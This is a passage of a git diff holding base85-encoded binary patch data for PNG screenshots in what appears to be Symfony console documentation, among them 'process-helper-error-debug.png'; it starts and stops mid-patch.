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

diff --git a/_images/components/console/process-helper-error-debug.png b/_images/components/console/process-helper-error-debug.png
index 8d1145478f2e3a0d6c0ee2074ea50883bd7c5107..48f6c7258d4f3b54fa394f82ea17365c49bbea49 100644
GIT binary patch
literal 13406
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
